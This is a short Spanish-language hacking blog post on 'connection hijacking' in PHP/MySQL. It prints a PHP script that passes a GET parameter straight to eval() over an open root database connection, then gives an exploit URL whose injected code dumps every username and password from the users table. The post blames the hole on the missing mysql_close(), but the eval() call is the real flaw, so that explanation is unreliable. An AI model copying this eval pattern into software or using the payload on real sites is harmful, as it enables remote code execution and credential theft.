Connection Hijacking
Posteado: jueves, 9 de junio de 2011 by Franco Di En Secciones: bugsnivelweb, Mysql, PHPBueno, despues de mucho tiempo, vuelvo a postear un poco de contenido en este blog que lo tuve abandonado por un largo tiempo. Hoy, veremos la importancia que tiene la funcion mysql_close() al momento de cerrar una conexion MySql con PHP. Algunos admins por no decir la mayoria, no lo usan ya que piensan que la conexion, se cierra completamente al final el script, y muchos otros no le dan importancia.
Primeramente, como es de esperar, nos veremos con el code vulnerable:
$la = $_GET['v'];
$server='localhost';
$user='root';
$pass='';
$db='alumnos';
$conexion=mysql_connect($server,$user,$pass)
or die("Problemas en la conexion");
mysql_select_db($db,$conexion);
if(mysql_query('select * from users where d=1')) {
echo "Consulta ejecutada";
}else {
echo "No se pudo ejecutar la consulta";
}
if(isset($la)) {
eval($la);
}?>
En este caso particular, como no se ha cerrado la conexion SQL y tampoco ha finalizado el script, todavia se puede hacer uso productivo de la conexion SQL. ¿Que podemos hacer?
Simple, lo que la imaginacion nos de :)
http://localhost/la.php?v=$sql=mysql_query('select * from users'); while($r=mysql_fetch_assoc($sql)) { echo "
".$r['name']." ".$r['password']."
";}
Fuente: http://yoyahack.blogspot.com/search/label/php
Saludos Dr [F]
